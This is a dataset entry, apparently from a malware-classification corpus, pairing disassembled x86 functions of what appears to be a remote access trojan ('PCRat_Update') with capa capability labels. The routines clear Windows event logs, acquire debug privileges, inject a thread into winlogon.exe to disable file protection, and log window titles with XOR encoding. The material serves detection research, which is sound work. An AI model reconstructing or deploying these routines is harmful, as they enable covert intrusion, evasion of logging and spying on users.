joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004f30
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10015060
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x25c
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov dword [ebp - 0x10], esp
push str.RegisterServiceCtrlHandlerA
push str.ADVAPI32.dll
mov dword [ebp - 0x14], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.SetServiceStatus
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.OpenEventLogA
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.CloseServiceHandle
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.RegSetValueExA
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.RegCloseKey
push str.ADVAPI32.dll
mov ebx, eax
call esi
push eax
call edi
mov dword [ebp - 0x40], eax
push 0x1f4
lea eax, [ebp - 0x268]
push str.SYSTEMCurrentControlSEtServices_
push eax
mov dword [ebp - 4], 0
call dword [sym.imp.MSVCRT.dll_strncpy]
mov edi, dword [ebp + 8]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x268]
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [ebp - 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x268]
push ecx
push SysStringLen
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x10005044
lea edx, [ebp - 0x20]
push 0x10017628
push edx
mov dword [ebp - 0x20], 0x1001bee4
call sub.MSVCRT.dll__CxxThrowException
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x1c]
push 4
push eax
push 4
push 0
push str.Type
push ecx
mov dword [ebp - 0x1c], 0x120
call ebx
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
test esi, esi
je 0x1000509a
lea edx, [ebp - 0x18]
push 0x10017628
push edx
mov dword [ebp - 0x18], str.RegSetValueEx_start_
call sub.MSVCRT.dll__CxxThrowException
mov eax, dword [ebp - 0x24]
test eax, eax
je 0x10005094
cmp byte [eax], 0
je 0x10005094
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, 0x1000509a
ret
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], 0xffffffff
push eax
call dword [ebp - 0x40]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100050c0
Capabilities:
Link many functions at runtime
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10015070
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x260
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov dword [ebp - 0x10], esp
xor eax, eax
push str.RegisterServiceCtrlHandlerA
push str.ADVAPI32.dll
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.SetServiceStatus
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.OpenEventLogA
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.CloseServiceHandle
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.RegSetValueExA
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.RegCloseKey
push str.ADVAPI32.dll
call esi
push eax
call edi
mov ebx, eax
push 0x1f4
lea eax, [ebp - 0x26c]
push str.SYSTEMCurrentControlSEtServices_
push eax
mov dword [ebp - 0x44], ebx
mov dword [ebp - 4], 0
call dword [sym.imp.MSVCRT.dll_strncpy]
mov edi, dword [ebp + 8]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x26c]
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [ebp - 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x26c]
push ecx
push SysStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x100051d5
lea edx, [ebp - 0x20]
push 0x10017628
push edx
mov dword [ebp - 0x20], 0x1001bee4
call sub.MSVCRT.dll__CxxThrowException
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x28]
push ecx
push edx
push 0
push str.Type
push eax
mov dword [ebp - 0x1c], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 0x14]
mov esi, eax
push ecx
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
test esi, esi
je 0x1000522a
lea edx, [ebp - 0x24]
push 0x10017628
push edx
mov dword [ebp - 0x24], str.RegQueryValueEx_Type_
call sub.MSVCRT.dll__CxxThrowException
mov eax, 0x10005227
ret
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], 0xffffffff
push eax
call ebx
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x18]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10005d50
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push esi
push edi
mov edi, dword [esp + 0x60]
push 0x2f
push edi
call dword [sym.imp.MSVCRT.dll_strrchr]
mov esi, eax
add esp, 8
inc esi
jne 0x10005d72
pop edi
xor al, al
pop esi
add esp, 0x54
ret
push esi
push edi
call fcn.1000eb80
add esp, 8
test al, al
jne 0x10005d86
pop edi
pop esi
add esp, 0x54
ret
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x1c]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push str.PCRat_Update
push esi
mov dword [esp + 0x40], 0x44
mov dword [esp + 0x48], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
add esp, 0x54
ret

Function at 0x10005de0
Capabilities:
Create process on windows
Link many functions at runtime
Query or enumerate registry value

Disassembly:
sub esp, 0x160
or ecx, 0xffffffff
xor eax, eax
push ebx
mov ebx, dword [esp + 0x168]
push edi
mov edi, ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x10005f39
mov ecx, 0x41
lea edi, [esp + 0x64]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 0xc], 0x104
push eax
push 0xf003f
push 0
push str.Applicationsiexplore.exe_shellopencommand
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10005f39
lea ecx, [esp + 0xc]
push esi
lea edx, [esp + 0x68]
push ecx
push edx
push eax
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.RegisterServiceCtrlHandlerA
push str.ADVAPI32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.SetServiceStatus
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.OpenEventLogA
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.CloseServiceHandle
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.RegSetValueExA
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.RegCloseKey
push str.ADVAPI32.dll
call esi
push eax
call edi
mov ecx, dword [esp + 0xc]
push ecx
call eax
lea edx, [esp + 0x68]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
pop esi
je 0x10005f39
lea eax, [esp + 0x64]
push 0x1001a148
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x10005f39
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x24]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x170]
mov dword [esp + 0x20], 0x44
test eax, eax
je 0x10005f13
mov dword [esp + 0x28], str.WinSta0Default
lea ecx, [esp + 0x10]
lea edx, [esp + 0x20]
push ecx
push edx
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x80]
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
xor al, al
pop ebx
add esp, 0x160
ret
Function at 0x10005f50
Capabilities:
Access the windows event log
Clear windows event logs
Link many functions at runtime

Disassembly:
sub esp, 0xc
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.RegisterServiceCtrlHandlerA
push str.ADVAPI32.dll
mov dword [esp + 0x18], str.Application
mov dword [esp + 0x1c], str.Security
mov dword [esp + 0x20], str.System
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.SetServiceStatus
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.OpenEventLogA
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.CloseServiceHandle
push str.ADVAPI32.dll
mov ebx, eax
call esi
push eax
call edi
push str.RegSetValueExA
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.RegCloseKey
push str.ADVAPI32.dll
call esi
push eax
call edi
lea edi, [esp + 0x10]
mov ebp, 3
mov eax, dword [edi]
push eax
push 0
call ebx
mov esi, eax
test esi, esi
je 0x10005ffd
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
add edi, 4
dec ebp
jne 0x10005fe0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret

Function at 0x10006010
Capabilities:
Check if file exists
Get file attributes
Print debug messages

Disassembly:
sub esp, 0x208
mov ecx, 0x41
xor eax, eax
push edi
lea edi, [esp + 4]
rep stosd dword es:[edi], eax
mov ecx, dword [0x1001bff8]
lea eax, [esp + 4]
push 0x104
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x108]
rep stosd dword es:[edi], eax
cmp byte [0x1001a5db], 4
jne 0x10006088
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 4]
lea edx, [esp + 4]
rep stosd dword es:[edi], eax
push edx
call fcn.1000c180
lea eax, [esp + 8]
lea ecx, [esp + 0x10c]
push eax
push str._s_lang.ini
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
jmp 0x100060a3
lea edx, [esp + 4]
lea eax, [esp + 0x108]
push edx
push str._s_lang.ini
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea ecx, [esp + 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
pop edi
jne 0x100060c2
push 0x1001a348
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [esp + 0x20c]
lea edx, [esp + 0x104]
push edx
push eax
push str.Remark
push str.user
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
add esp, 0x208
ret
Function at 0x100060f0
Capabilities:
Check if file exists
Get file attributes
Print debug messages

Disassembly:
sub esp, 0x208
mov ecx, 0x41
xor eax, eax
push esi
push edi
lea edi, [esp + 8]
push 0x104
rep stosd dword es:[edi], eax
mov ecx, dword [0x1001bff8]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x10c]
rep stosd dword es:[edi], eax
cmp byte [0x1001a5db], 4
jne 0x10006169
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 8]
lea edx, [esp + 8]
rep stosd dword es:[edi], eax
push edx
call fcn.1000c180
lea eax, [esp + 0xc]
lea ecx, [esp + 0x110]
push eax
push str._s_lang.ini
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
jmp 0x10006184
lea edx, [esp + 8]
lea eax, [esp + 0x10c]
push edx
push str._s_lang.ini
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea ecx, [esp + 0x10c]
push ecx
call esi
lea edx, [esp + 0x10c]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x100061ae
push 0x1001a348
call esi
mov ecx, dword [esp + 0x218]
lea eax, [esp + 0x10c]
push eax
push ecx
push str.name
push str.user
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
pop edi
pop esi
add esp, 0x208
ret

Function at 0x100061e0
Capabilities:
Check if file exists
Get file attributes
Print debug messages

Disassembly:
sub esp, 0x208
mov ecx, 0x41
xor eax, eax
push esi
push edi
lea edi, [esp + 8]
push 0x104
rep stosd dword es:[edi], eax
mov ecx, dword [0x1001bff8]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x10c]
rep stosd dword es:[edi], eax
cmp byte [0x1001a5db], 4
jne 0x10006259
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 8]
lea edx, [esp + 8]
rep stosd dword es:[edi], eax
push edx
call fcn.1000c180
lea eax, [esp + 0xc]
lea ecx, [esp + 0x110]
push eax
push str._s_lang.ini
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
jmp 0x10006274
lea edx, [esp + 8]
lea eax, [esp + 0x10c]
push edx
push str._s_lang.ini
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea ecx, [esp + 0x10c]
push ecx
call esi
lea edx, [esp + 0x10c]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1000629e
push 0x1001a348
call esi
mov ecx, dword [esp + 0x214]
lea eax, [esp + 0x10c]
push eax
push ecx
push str.icon
push str.user
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
pop edi
pop esi
add esp, 0x208
ret
Function at 0x100062d0
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x1c
lea eax, [esp]
push esi
push eax
push 0x28
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1000634c
lea ecx, [esp + 8]
push ecx
push str.SeDebugPrivilege
push esi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x10006341
mov edx, dword [esp + 8]
mov eax, dword [esp + 0xc]
push esi
push esi
lea ecx, [esp + 0x18]
mov dword [esp + 0x1c], edx
mov edx, dword [esp + 0xc]
push 0x10
push ecx
push esi
push edx
mov dword [esp + 0x28], 1
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x10006341
mov esi, 1
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x1c
ret

Function at 0x10006360
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x12c
push ebp
push esi
mov esi, dword [esp + 0x138]
push edi
movsx eax, byte [esi]
push eax
call dword [sym.imp.MSVCRT.dll_isdigit]
add esp, 4
test eax, eax
je 0x10006393
push 0
push 0
push esi
call dword [sym.imp.MSVCRT.dll_strtoul]
add esp, 0xc
mov ebp, eax
jmp 0x10006396
or ebp, 0xffffffff
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
mov dword [esp + 0xc], edi
jne 0x100063b6
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x12c
ret
lea ecx, [esp + 0x10]
push ebx
push ecx
push edi
mov dword [esp + 0x1c], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10006455
mov ebx, dword [sym.imp.MSVCRT.dll__strlwr]
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push esi
call ebx
add esp, 4
lea edx, [esp + 0x3c]
push eax
push edx
call ebx
add esp, 4
push eax
call dword [sym.imp.MSVCRT.dll_strncmp]
add esp, 0xc
test eax, eax
mov eax, dword [esp + 0x1c]
je 0x10006429
cmp eax, ebp
je 0x10006429
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x14]
push eax
push ecx
mov dword [esp + 0x1c], 0x128
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x100063d8
jmp 0x10006451
mov ebp, eax
lea edi, [esp + 0x38]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, dword [esp + 0x144]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0x10]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebp, 0xffffffff
pop ebx
jne 0x10006464
xor ebp, ebp
pop edi
mov eax, ebp
pop esi
pop ebp
add esp, 0x12c
ret
Function at 0x100064c0
Capabilities:
Create thread

Disassembly:
push ecx
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 8]
lea eax, [esp]
push esi
push eax
mov eax, dword [edx + 4]
push 0
push 0
push ecx
push 0
push 0
push eax
mov dword [esp + 0x20], 0
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
test esi, esi
je 0x10006500
push 0xfa0
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x1000650c
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop esi
pop ecx
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 4]
pop esi
pop ecx
ret

Function at 0x10006520
Capabilities:
Bypass windows file protection
Check os version

Disassembly:
sub esp, 0x110
push esi
push edi
call fcn.100062d0
test eax, eax
je 0x10006596
push 0x1f0fff
lea eax, [esp + 0x10]
push str.winlogon.exe
push eax
call fcn.10006470
add esp, 0xc
test eax, eax
je 0x10006596
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 5
jne 0x1000657c
xor ecx, ecx
mov cl, ah
test cl, cl
jne 0x1000656d
push str.sfc.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
jmp 0x10006580
push str.sfc_os.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
jmp 0x10006580
mov esi, dword [esp + 8]
push 2
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push esi
test edi, edi
jne 0x100065a1
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
xor eax, eax
pop esi
add esp, 0x110
ret
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea edx, [esp + 0xc]
push edi
push edx
call fcn.100064c0
add esp, 8
test eax, eax
je 0x10006596
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, 1
pop esi
add esp, 0x110
ret
Function at 0x10006a90
Capabilities:
Delete file
Get common file path
Print debug messages

Disassembly:
push 0xffffffffffffffff
push 0x100151f6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x210
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov esi, ecx
push str.UnInstallService__
call edi
lea ecx, [esp + 0xc]
call fcn.1000de00
lea eax, [esp + 0x114]
push 0x104
push eax
mov dword [esp + 0x228], 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 0x114]
push str._syslog.dat
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x114]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp byte [0x1001a5db], 4
jne 0x10006b22
add esi, 0x110
lea ecx, [esp + 0xc]
push esi
call fcn.1000e0c0
jmp 0x10006baa
lea ecx, [esp + 0xc]
call fcn.1000de40
cmp al, 2
jne 0x10006b45
lea eax, [esi + 0x110]
add esi, 0x10
push eax
push esi
lea ecx, [esp + 0x14]
call fcn.1000dec0
jmp 0x10006baa
mov ecx, esi
call fcn.10006c30
push str.RemoveService_m_strServiceName__
call edi
lea edi, [esi + 0x10]
push edi
call fcn.10004ce0
add esp, 4
lea ecx, [esp + 8]
call fcn.1000a840
push 4
push edi
lea ecx, [esp + 0x10]
mov byte [esp + 0x228], 1
call fcn.1000ad70
push edi
lea ecx, [esp + 0xc]
call fcn.1000ae80
add esi, 0x110
push esi
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
lea ecx, [esp + 8]
mov byte [esp + 0x220], 0
call fcn.1000a870
lea ecx, [esp + 0xc]
mov dword [esp + 0x220], 0xffffffff
call fcn.1000de30
mov ecx, dword [esp + 0x218]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x21c
ret
Function at 0x10006c30
Capabilities:
Copy file
Delete file
Get common file path
Move file
Print debug messages

Disassembly:
sub esp, 0x208
push ebx
push ebp
push esi
push edi
mov ebx, ecx
call fcn.10006520
mov ecx, dword [0x1001bff8]
lea eax, [esp + 0x114]
push 0x104
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0x1001a408
call esi
lea edx, [ebx + 0x10]
push edx
call esi
push 0x1001a400
call esi
lea eax, [esp + 0x114]
push eax
call esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push eax
lea ecx, [esp + 0x14]
push str._d.bak
push ecx
call esi
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x114]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 4
lea ecx, [esp + 0x14]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x10]
lea edx, [esp + 0x114]
rep stosd dword es:[edi], eax
push edx
lea eax, [esp + 0x14]
push str._s_lang.ini
push eax
call esi
mov ebp, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0xc
xor esi, esi
lea ecx, [esp + 0x10]
push ecx
call ebp
test eax, eax
jne 0x10006d04
push 0x14
call edi
inc esi
cmp esi, 0xa
jle 0x10006cef
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x10]
lea edx, [esp + 0x114]
rep stosd dword es:[edi], eax
push edx
lea eax, [esp + 0x14]
push str._s.dll
push eax
call esi
lea ecx, [esp + 0x120]
lea edx, [esp + 0x1c]
push ecx
push edx
call dword [sym.imp.MSVCRT.dll_rename]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x24]
add esp, 0x14
rep stosd dword es:[edi], eax
lea eax, [esp + 0x10]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 0x114]
push ecx
mov ecx, ebx
call fcn.10006bf0
lea edx, [esp + 0x10]
push eax
push edx
lea eax, [esp + 0x18]
push str._sdllcache_s
push eax
call esi
add esp, 0x10
lea ecx, [esp + 0x10]
lea edx, [esp + 0x114]
push 0
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 0x208
ret
Function at 0x10006ee0
Capabilities:
Encode data using xor
Get file size
Write file on windows

Disassembly:
push ecx
mov eax, dword [0x1001bff0]
push ebx
push ebp
push esi
push edi
push 0
push 0x80
push 4
push 0
push 2
add eax, 0xd
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
push 0
push ebx
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x10006f2d
push 2
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebp, dword [esp + 0x18]
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
test edi, edi
jle 0x10006f5b
mov ecx, ebp
mov ebp, edi
sub ecx, esi
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec ebp
jne 0x10006f4f
lea eax, [esp + 0x10]
push 0
push eax
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x10006f90
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x910
push ebx
mov ebx, dword [esp + 0x918]
push esi
push edi
test ebx, ebx
je 0x100070dc
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
cmp esi, 1
jb 0x100070dc
cmp esi, 0x80
ja 0x100070dc
call dword [sym.imp.USER32.dll_GetActiveWindow]
mov edx, dword [0x1001bff0]
cmp eax, dword [edx + 8]
je 0x10007086
mov dword [edx + 8], eax
mov ecx, dword [0x1001bff0]
lea eax, [esp + 0x1c]
push 0x100
mov edx, dword [ecx + 8]
push eax
push edx
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov edx, dword [esp + 0x18]
mov ecx, 0x200
xor eax, eax
lea edi, [esp + 0x11c]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x16]
lea ecx, [esp + 0x1c]
push ecx
mov ecx, dword [esp + 0x18]
and edx, 0xffff
and eax, 0xffff
push edx
mov edx, dword [esp + 0x14]
and ecx, 0xffff
push eax
mov eax, dword [esp + 0x1e]
push ecx
mov ecx, dword [esp + 0x1e]
and edx, 0xffff
and eax, 0xffff
push edx
and ecx, 0xffff
push eax
push ecx
lea edx, [esp + 0x138]
push str._r_n__02d__02d__d__02d:_02d:_02d____s__r_n
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x140]
push eax
call fcn.10006f90
mov edx, dword [0x1001bff0]
add esp, 0x28
mov al, byte [edx + 0xc]
test al, al
je 0x1000709c
push ebx
call fcn.10006ee0
mov edx, dword [0x1001bff0]
add esp, 4
mov edi, dword [edx]
mov ecx, esi
add ecx, edi
cmp ecx, 0x400
jbe 0x100070c7
mov ecx, 0x100
xor eax, eax
lea edi, [edx + 0x111]
rep stosd dword es:[edi], eax
mov edx, dword [0x1001bff0]
mov dword [edx], eax
mov edx, dword [0x1001bff0]
add edx, 0x111
push ebx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [0x1001bff0]
add dword [eax], esi
pop edi
pop esi
pop ebx
add esp, 0x910
ret